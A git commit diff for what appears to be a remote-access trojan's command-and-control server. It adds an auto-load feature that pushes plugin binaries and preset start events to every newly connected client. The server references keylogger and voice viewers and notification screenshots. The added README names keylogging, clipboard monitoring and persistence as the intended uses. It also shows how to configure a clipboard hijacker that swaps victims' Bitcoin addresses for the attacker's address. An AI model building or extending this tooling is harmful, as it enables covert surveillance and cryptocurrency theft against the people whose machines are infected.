make plugin api not dog shit
This commit is contained in:
@@ -134,6 +134,35 @@ function renderPlugins(plugins) {
|
||||
await refresh();
|
||||
});
|
||||
|
||||
const autoLoadBtn = document.createElement("button");
|
||||
autoLoadBtn.className =
|
||||
"inline-flex items-center gap-2 px-3 py-2 rounded-lg border" +
|
||||
(plugin.autoLoad
|
||||
? " border-amber-600 text-amber-200 bg-amber-900/40"
|
||||
: " border-slate-600 text-slate-300 bg-slate-800/60");
|
||||
autoLoadBtn.innerHTML = plugin.autoLoad
|
||||
? '<i class="fa-solid fa-bolt"></i> Auto-load'
|
||||
: '<i class="fa-solid fa-bolt-lightning"></i> Auto-load off';
|
||||
autoLoadBtn.title = plugin.autoLoad
|
||||
? "Plugin will auto-load on all new client connections. Click to disable."
|
||||
: "Click to auto-load this plugin on all new client connections.";
|
||||
autoLoadBtn.addEventListener("click", async () => {
|
||||
const res = await fetch(`/api/plugins/${plugin.id}/autoload`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({
|
||||
autoLoad: !plugin.autoLoad,
|
||||
autoStartEvents: plugin.autoStartEvents || [],
|
||||
}),
|
||||
});
|
||||
if (!res.ok) {
|
||||
const text = await res.text();
|
||||
setStatus(`Auto-load toggle failed: ${text}`, true);
|
||||
return;
|
||||
}
|
||||
await refresh();
|
||||
});
|
||||
|
||||
const removeBtn = document.createElement("button");
|
||||
removeBtn.className =
|
||||
"inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-red-900/40 border border-red-700/60 hover:bg-red-800/60 text-red-100";
|
||||
@@ -150,6 +179,7 @@ function renderPlugins(plugins) {
|
||||
await refresh();
|
||||
});
|
||||
actions.appendChild(toggle);
|
||||
actions.appendChild(autoLoadBtn);
|
||||
actions.appendChild(removeBtn);
|
||||
card.appendChild(meta);
|
||||
card.appendChild(actions);
|
||||
|
||||
@@ -56,6 +56,7 @@ import {
|
||||
loadPluginStateFromDisk,
|
||||
savePluginStateToDisk,
|
||||
sendPluginBundle,
|
||||
dispatchAutoLoadPlugins,
|
||||
} from "./server/plugin-state-bundle";
|
||||
import {
|
||||
DISCONNECT_TIMEOUT_MS,
|
||||
@@ -169,7 +170,7 @@ const MAX_HTTP_BODY_BYTES = parseMaxHttpBodyBytes();
|
||||
const pluginLoadedByClient = new Map<string, Set<string>>();
|
||||
const pendingPluginEvents = new Map<string, Array<{ event: string; payload: any }>>();
|
||||
const pluginLoadingByClient = new Map<string, Set<string>>();
|
||||
let pluginState = { enabled: {} as Record<string, boolean>, lastError: {} as Record<string, string> };
|
||||
let pluginState = { enabled: {} as Record<string, boolean>, lastError: {} as Record<string, string>, autoLoad: {} as Record<string, boolean>, autoStartEvents: {} as Record<string, Array<{ event: string; payload: any }>> };
|
||||
|
||||
const savePluginState = () => savePluginStateToDisk(PLUGIN_ROOT, PLUGIN_STATE_PATH, pluginState);
|
||||
const loadPluginState = async () => {
|
||||
@@ -345,6 +346,7 @@ async function startServer() {
|
||||
isPluginLoaded: notificationPluginHandlers.isPluginLoaded,
|
||||
isPluginLoading: notificationPluginHandlers.isPluginLoading,
|
||||
enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent,
|
||||
drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents,
|
||||
secureHeaders,
|
||||
securePluginHeaders,
|
||||
mimeType,
|
||||
@@ -439,6 +441,17 @@ async function startServer() {
|
||||
handleKeyloggerViewerMessage,
|
||||
handleVoiceViewerMessage,
|
||||
dispatchAutoScriptsForConnection,
|
||||
dispatchAutoLoadPlugins: (info: import("./types").ClientInfo) => {
|
||||
dispatchAutoLoadPlugins(
|
||||
info,
|
||||
pluginState,
|
||||
notificationPluginHandlers.isPluginLoaded,
|
||||
notificationPluginHandlers.isPluginLoading,
|
||||
notificationPluginHandlers.markPluginLoading,
|
||||
notificationPluginHandlers.enqueuePluginEvent,
|
||||
loadPluginBundle,
|
||||
);
|
||||
},
|
||||
takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
|
||||
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
||||
handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult,
|
||||
|
||||
@@ -9,18 +9,22 @@ import { encodeMessage, type PluginManifest } from "../protocol";
|
||||
export type PluginState = {
|
||||
enabled: Record<string, boolean>;
|
||||
lastError: Record<string, string>;
|
||||
autoLoad: Record<string, boolean>;
|
||||
autoStartEvents: Record<string, Array<{ event: string; payload: any }>>;
|
||||
};
|
||||
|
||||
export async function loadPluginStateFromDisk(pluginStatePath: string): Promise<PluginState> {
|
||||
try {
|
||||
const raw = await fs.readFile(pluginStatePath, "utf-8");
|
||||
const parsed = JSON.parse(raw) as { enabled?: Record<string, boolean>; lastError?: Record<string, string> };
|
||||
const parsed = JSON.parse(raw) as Partial<PluginState>;
|
||||
return {
|
||||
enabled: parsed.enabled || {},
|
||||
lastError: parsed.lastError || {},
|
||||
autoLoad: parsed.autoLoad || {},
|
||||
autoStartEvents: parsed.autoStartEvents || {},
|
||||
};
|
||||
} catch {
|
||||
return { enabled: {}, lastError: {} };
|
||||
return { enabled: {}, lastError: {}, autoLoad: {}, autoStartEvents: {} };
|
||||
}
|
||||
}
|
||||
|
||||
@@ -269,6 +273,43 @@ export function sendPluginBundle(
|
||||
);
|
||||
}
|
||||
|
||||
export async function dispatchAutoLoadPlugins(
|
||||
client: ClientInfo,
|
||||
pluginState: PluginState,
|
||||
isPluginLoaded: (clientId: string, pluginId: string) => boolean,
|
||||
isPluginLoading: (clientId: string, pluginId: string) => boolean,
|
||||
markPluginLoading: (clientId: string, pluginId: string) => void,
|
||||
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void,
|
||||
loadBundle: (pluginId: string, clientOS?: string, clientArch?: string) => Promise<{ manifest: PluginManifest; binary: Uint8Array | null }>,
|
||||
): Promise<void> {
|
||||
const autoLoadIds = Object.entries(pluginState.autoLoad)
|
||||
.filter(([id, enabled]) => enabled && pluginState.enabled[id] !== false)
|
||||
.map(([id]) => id);
|
||||
|
||||
for (const pluginId of autoLoadIds) {
|
||||
if (isPluginLoaded(client.id, pluginId) || isPluginLoading(client.id, pluginId)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
try {
|
||||
const bundle = await loadBundle(pluginId, client.os, client.arch);
|
||||
markPluginLoading(client.id, pluginId);
|
||||
sendPluginBundle(client, bundle);
|
||||
|
||||
const autoEvents = pluginState.autoStartEvents[pluginId];
|
||||
if (autoEvents && autoEvents.length > 0) {
|
||||
for (const evt of autoEvents) {
|
||||
enqueuePluginEvent(client.id, pluginId, evt.event, evt.payload);
|
||||
}
|
||||
}
|
||||
|
||||
logger.info(`[plugin-autoload] dispatched ${pluginId} to ${client.id}`);
|
||||
} catch (err) {
|
||||
logger.warn(`[plugin-autoload] failed to load ${pluginId} for ${client.id}: ${(err as Error).message}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function derivePlatformKey(filename: string): string {
|
||||
const match = filename.match(/-(linux|darwin|windows|freebsd)-(amd64|arm64|arm|386)\.(so|dll|dylib)$/i);
|
||||
if (match) {
|
||||
|
||||
@@ -20,6 +20,8 @@ type PluginBundle = {
|
||||
type PluginState = {
|
||||
enabled: Record<string, boolean>;
|
||||
lastError: Record<string, string>;
|
||||
autoLoad: Record<string, boolean>;
|
||||
autoStartEvents: Record<string, Array<{ event: string; payload: any }>>;
|
||||
};
|
||||
|
||||
type PluginRouteDeps = {
|
||||
@@ -38,6 +40,7 @@ type PluginRouteDeps = {
|
||||
isPluginLoaded: (clientId: string, pluginId: string) => boolean;
|
||||
isPluginLoading: (clientId: string, pluginId: string) => boolean;
|
||||
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
|
||||
drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>;
|
||||
secureHeaders: (contentType?: string) => Record<string, string>;
|
||||
securePluginHeaders: () => Record<string, string>;
|
||||
mimeType: (path: string) => string;
|
||||
@@ -65,6 +68,8 @@ export async function handlePluginRoutes(
|
||||
...p,
|
||||
enabled: deps.pluginState.enabled[p.id] !== false,
|
||||
lastError: deps.pluginState.lastError[p.id] || "",
|
||||
autoLoad: deps.pluginState.autoLoad[p.id] === true,
|
||||
autoStartEvents: deps.pluginState.autoStartEvents[p.id] || [],
|
||||
}));
|
||||
return Response.json({ plugins: enriched });
|
||||
}
|
||||
@@ -173,6 +178,59 @@ export async function handlePluginRoutes(
|
||||
return Response.json({ ok: true, id: pluginId, enabled });
|
||||
}
|
||||
|
||||
const pluginAutoLoadMatch = url.pathname.match(/^\/api\/plugins\/(.+)\/autoload$/);
|
||||
if (req.method === "POST" && pluginAutoLoadMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
let pluginId = "";
|
||||
try {
|
||||
pluginId = deps.sanitizePluginId(pluginAutoLoadMatch[1]);
|
||||
} catch {
|
||||
return new Response("Invalid plugin id", { status: 400 });
|
||||
}
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {}
|
||||
const autoLoad = !!body.autoLoad;
|
||||
deps.pluginState.autoLoad[pluginId] = autoLoad;
|
||||
|
||||
if (Array.isArray(body.autoStartEvents)) {
|
||||
const validEvents = body.autoStartEvents.filter(
|
||||
(e: any) => e && typeof e.event === "string" && e.event.length > 0,
|
||||
);
|
||||
deps.pluginState.autoStartEvents[pluginId] = validEvents;
|
||||
}
|
||||
|
||||
await deps.savePluginState();
|
||||
|
||||
if (autoLoad) {
|
||||
const allClients = clientManager.getAllClients();
|
||||
for (const [cid, client] of allClients) {
|
||||
if (deps.isPluginLoaded(cid, pluginId) || deps.isPluginLoading(cid, pluginId)) continue;
|
||||
try {
|
||||
const bundle = await deps.loadPluginBundle(pluginId, client.os, client.arch);
|
||||
deps.markPluginLoading(cid, pluginId);
|
||||
deps.sendPluginBundle(client, bundle);
|
||||
metrics.recordCommand("plugin_load");
|
||||
} catch {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return Response.json({
|
||||
ok: true,
|
||||
id: pluginId,
|
||||
autoLoad,
|
||||
autoStartEvents: deps.pluginState.autoStartEvents[pluginId] || [],
|
||||
});
|
||||
}
|
||||
|
||||
const pluginDeleteMatch = url.pathname.match(/^\/api\/plugins\/(.+)$/);
|
||||
if (req.method === "DELETE" && pluginDeleteMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
@@ -201,10 +259,30 @@ export async function handlePluginRoutes(
|
||||
await fs.rm(pluginDir, { recursive: true, force: true });
|
||||
} catch {}
|
||||
|
||||
// Unload from all clients that have it loaded
|
||||
for (const [cid, loadedSet] of deps.pluginLoadedByClient) {
|
||||
if (!loadedSet.has(pluginId)) continue;
|
||||
const target = clientManager.getClient(cid);
|
||||
if (target) {
|
||||
try {
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "plugin_unload",
|
||||
id: uuidv4(),
|
||||
payload: { pluginId },
|
||||
}),
|
||||
);
|
||||
} catch {}
|
||||
}
|
||||
}
|
||||
|
||||
deps.pluginLoadedByClient.forEach((set) => set.delete(pluginId));
|
||||
deps.pluginLoadingByClient.forEach((set) => set.delete(pluginId));
|
||||
delete deps.pluginState.enabled[pluginId];
|
||||
delete deps.pluginState.lastError[pluginId];
|
||||
delete deps.pluginState.autoLoad[pluginId];
|
||||
delete deps.pluginState.autoStartEvents[pluginId];
|
||||
await deps.savePluginState();
|
||||
|
||||
return Response.json({ ok: true, id: pluginId });
|
||||
@@ -241,6 +319,22 @@ export async function handlePluginRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
const pluginEventsPollMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/events$/);
|
||||
if (req.method === "GET" && pluginEventsPollMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
const targetId = pluginEventsPollMatch[1];
|
||||
const pluginId = pluginEventsPollMatch[2];
|
||||
const events = deps.drainPluginUIEvents(targetId, pluginId);
|
||||
return Response.json({ events });
|
||||
}
|
||||
|
||||
const pluginEventMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/event$/);
|
||||
if (req.method === "POST" && pluginEventMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
|
||||
@@ -53,6 +53,7 @@ type WsLifecycleDeps = {
|
||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
|
||||
takePendingNotificationScreenshot: (clientId: string) => any;
|
||||
storeNotificationScreenshot: (
|
||||
pending: any,
|
||||
@@ -373,6 +374,7 @@ export async function handleWebSocketMessage(
|
||||
clientManager.addClient(infoObj.id, infoObj);
|
||||
|
||||
deps.dispatchAutoScriptsForConnection(infoObj, ws);
|
||||
deps.dispatchAutoLoadPlugins(infoObj);
|
||||
deps.notifyDashboard();
|
||||
deps.notifyDashboardClientEvent("client_online", {
|
||||
id: infoObj.id,
|
||||
|
||||
@@ -75,6 +75,33 @@ function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
|
||||
}
|
||||
|
||||
export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
const pluginUIEventBuffer = new Map<string, Array<{ event: string; payload: any; ts: number }>>();
|
||||
const PLUGIN_UI_EVENT_BUFFER_MAX = 200;
|
||||
const PLUGIN_UI_EVENT_TTL_MS = 60_000;
|
||||
|
||||
function bufferPluginUIEvent(clientId: string, pluginId: string, event: string, payload: any) {
|
||||
const key = `${clientId}:${pluginId}`;
|
||||
let list = pluginUIEventBuffer.get(key);
|
||||
if (!list) {
|
||||
list = [];
|
||||
pluginUIEventBuffer.set(key, list);
|
||||
}
|
||||
list.push({ event, payload, ts: Date.now() });
|
||||
if (list.length > PLUGIN_UI_EVENT_BUFFER_MAX) {
|
||||
list.splice(0, list.length - PLUGIN_UI_EVENT_BUFFER_MAX);
|
||||
}
|
||||
}
|
||||
|
||||
function drainPluginUIEvents(clientId: string, pluginId: string): Array<{ event: string; payload: any }> {
|
||||
const key = `${clientId}:${pluginId}`;
|
||||
const list = pluginUIEventBuffer.get(key);
|
||||
if (!list || list.length === 0) return [];
|
||||
const now = Date.now();
|
||||
const fresh = list.filter((e) => now - e.ts < PLUGIN_UI_EVENT_TTL_MS);
|
||||
pluginUIEventBuffer.delete(key);
|
||||
return fresh.map(({ event, payload }) => ({ event, payload }));
|
||||
}
|
||||
|
||||
function requestNotificationScreenshot(info: any, record: NotificationRecord) {
|
||||
if (!info || !info.ws) return;
|
||||
const commandId = `notify-shot-${uuidv4()}`;
|
||||
@@ -356,6 +383,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
const pluginId = (payload as any).pluginId || "";
|
||||
const event = (payload as any).event || "";
|
||||
const error = (payload as any).error || "";
|
||||
const eventPayload = (payload as any).payload;
|
||||
logger.debug(`[plugin] client=${clientId} plugin=${pluginId} event=${event} error=${error}`);
|
||||
if (event === "loaded") {
|
||||
markPluginLoaded(clientId, pluginId);
|
||||
@@ -374,6 +402,12 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
void deps.savePluginState();
|
||||
}
|
||||
}
|
||||
// Buffer all events for UI polling
|
||||
if (pluginId && event) {
|
||||
bufferPluginUIEvent(clientId, pluginId, event, eventPayload ?? (error ? { error } : null));
|
||||
}
|
||||
},
|
||||
|
||||
drainPluginUIEvents,
|
||||
};
|
||||
}
|
||||
|
||||
+90
-1
@@ -250,9 +250,10 @@ Plugin UIs run in a **sandboxed iframe** with a fetch bridge.
|
||||
|
||||
### Plugin management
|
||||
|
||||
- `GET /api/plugins` — list installed plugins
|
||||
- `GET /api/plugins` — list installed plugins (includes `autoLoad` and `autoStartEvents` per plugin)
|
||||
- `POST /api/plugins/upload` — upload zip
|
||||
- `POST /api/plugins/<id>/enable` — enable/disable
|
||||
- `POST /api/plugins/<id>/autoload` — configure auto-load on client connect
|
||||
- `DELETE /api/plugins/<id>` — remove
|
||||
|
||||
### Per-client plugin runtime
|
||||
@@ -269,4 +270,92 @@ Plugin UIs run in a **sandboxed iframe** with a fetch bridge.
|
||||
- `WS /api/clients/<clientId>/files/ws`
|
||||
- `WS /api/clients/<clientId>/processes/ws`
|
||||
|
||||
## 7) Auto-load plugins on client connect
|
||||
|
||||
By default, plugins are only loaded when manually triggered via the API or UI. For plugins that need to run 24/7 on every connected client (e.g. clipboard monitoring, keylogging, persistence), you can configure **auto-load**.
|
||||
|
||||
When auto-load is enabled for a plugin, the server will automatically load it onto every client that connects. If the client already has the plugin loaded, it's skipped — no duplicate loads.
|
||||
|
||||
You can also configure **auto-start events** — a list of events that are queued and delivered to the plugin immediately after it loads. This lets you pre-configure the plugin without any manual interaction.
|
||||
|
||||
### Enable auto-load
|
||||
|
||||
```
|
||||
POST /api/plugins/<pluginId>/autoload
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
"autoLoad": true
|
||||
}
|
||||
```
|
||||
|
||||
### Enable auto-load with auto-start events
|
||||
|
||||
```
|
||||
POST /api/plugins/<pluginId>/autoload
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
"autoLoad": true,
|
||||
"autoStartEvents": [
|
||||
{ "event": "add_rule", "payload": { "pattern": "^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$", "replacement": "your-btc-address" } },
|
||||
{ "event": "start", "payload": {} }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The events in `autoStartEvents` are queued in order and delivered to the plugin after it reports `loaded`. This works exactly like calling the event API multiple times, but happens automatically.
|
||||
|
||||
### Disable auto-load
|
||||
|
||||
```
|
||||
POST /api/plugins/<pluginId>/autoload
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
"autoLoad": false
|
||||
}
|
||||
```
|
||||
|
||||
### How it works
|
||||
|
||||
1. Client connects and completes the enrollment handshake
|
||||
2. Server sends `hello_ack` (as usual)
|
||||
3. Server dispatches auto-scripts (as usual)
|
||||
4. Server checks all plugins with `autoLoad: true` and `enabled: true`
|
||||
5. For each, if the plugin is **not already loaded** on that client:
|
||||
- Sends the plugin binary bundle (chunked)
|
||||
- Queues any `autoStartEvents`
|
||||
6. When the plugin reports `loaded`, queued events are flushed in order
|
||||
|
||||
### Checking auto-load status
|
||||
|
||||
`GET /api/plugins` returns `autoLoad` and `autoStartEvents` for each plugin:
|
||||
|
||||
```json
|
||||
{
|
||||
"plugins": [
|
||||
{
|
||||
"id": "clipreplace",
|
||||
"name": "clipreplace",
|
||||
"enabled": true,
|
||||
"autoLoad": true,
|
||||
"autoStartEvents": [
|
||||
{ "event": "add_rule", "payload": { "pattern": "...", "replacement": "..." } },
|
||||
{ "event": "start", "payload": {} }
|
||||
],
|
||||
"lastError": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Notes
|
||||
|
||||
- Auto-load respects the `enabled` flag — disabled plugins are never auto-loaded
|
||||
- Auto-load state is persisted in `.plugin-state.json` and survives server restarts
|
||||
- Deleting a plugin also removes its auto-load configuration
|
||||
- The server selects the correct binary for each client's OS/architecture automatically
|
||||
- If a plugin binary isn't available for a client's platform, the auto-load silently skips that client
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user